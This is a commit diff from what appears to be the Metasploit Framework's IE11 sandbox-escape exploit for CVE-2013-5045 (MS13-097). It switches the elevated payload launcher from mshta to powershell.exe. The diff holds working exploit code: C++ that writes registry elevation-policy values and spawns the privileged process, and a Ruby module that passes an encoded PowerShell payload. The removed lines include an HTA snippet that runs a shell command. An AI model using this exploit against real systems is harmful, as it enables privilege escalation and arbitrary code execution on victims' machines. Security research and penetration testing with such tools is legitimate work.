Skip to content

Commit f918bcc

Browse files
committed
Use powershell instead of mshta
1 parent 4840a05 commit f918bcc

File tree

4 files changed

+7
-35
lines changed

4 files changed

+7
-35
lines changed
512 Bytes
Binary file not shown.

external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/CVE-2013-5045.cpp

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -112,8 +112,8 @@ void DoRegistrySymlink()
112112
throw 0;
113113
}
114114

115-
CreateRegistryValueString(hKey, L"AppName", L"mshta.exe");
116-
CreateRegistryValueString(hKey, L"AppPath", GetWindowsSystemDirectory());
115+
CreateRegistryValueString(hKey, L"AppName", L"powershell.exe");
116+
CreateRegistryValueString(hKey, L"AppPath", GetWindowsSystemDirectory() + L"\\WindowsPowerShell\\v1.0");
117117
CreateRegistryValueDword(hKey, L"Policy", 3);
118118

119119
bstr_t name = GetSessionPath() + L"\\BaseNamedObjects\\LRIEElevationPolicy_";
@@ -156,7 +156,7 @@ void DoRegistrySymlink()
156156
CloseHandle(hSection);
157157
hSection = nullptr;
158158

159-
MyCreateProcess(GetWindowsSystemDirectory() + L"\\mshta.exe", L"mshta.exe " + GetExploitUrl(L"HTA_URL"));
159+
MyCreateProcess(GetWindowsSystemDirectory() + L"\\WindowsPowerShell\\v1.0\\powershell.exe", L"powershell.exe " + GetExploitUrl(L"PSH_CMD"));
160160
}
161161
catch (...)
162162
{

external/source/exploits/IE11SandboxEscapes/make.msbuild

Lines changed: 0 additions & 18 deletions
This file was deleted.

modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb

Lines changed: 4 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -74,13 +74,13 @@ def exploit
7474
rescue Timeout::Error
7575
end
7676

77-
session.railgun.kernel32.SetEnvironmentVariableA("HTA_URL", nil)
77+
session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", nil)
7878
session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", nil)
7979
end
8080

8181
def primer
82-
hta_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.hta"
83-
session.railgun.kernel32.SetEnvironmentVariableA("HTA_URL", hta_uri)
82+
cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip
83+
session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", cmd)
8484

8585
html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html"
8686
session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", html_uri)
@@ -99,17 +99,7 @@ def primer
9999
end
100100

101101
def on_request_uri(cli, request)
102-
if request.uri =~ /\.hta$/
103-
print_status("Sending hta...")
104-
hta = <<-eos
105-
<script>
106-
var command = "#{cmd_psh_payload(payload.encoded).strip}";
107-
var shell = new ActiveXObject("WScript.Shell");
108-
shell.Run(command);
109-
</script>
110-
eos
111-
send_response(cli, hta, {'Content-Type'=>'application/hta'})
112-
elsif request.uri =~ /\.html$/
102+
if request.uri =~ /\.html$/
113103
print_status("Sending window close html...")
114104
close_html = <<-eos
115105
<html>

0 commit comments

Comments
 (0)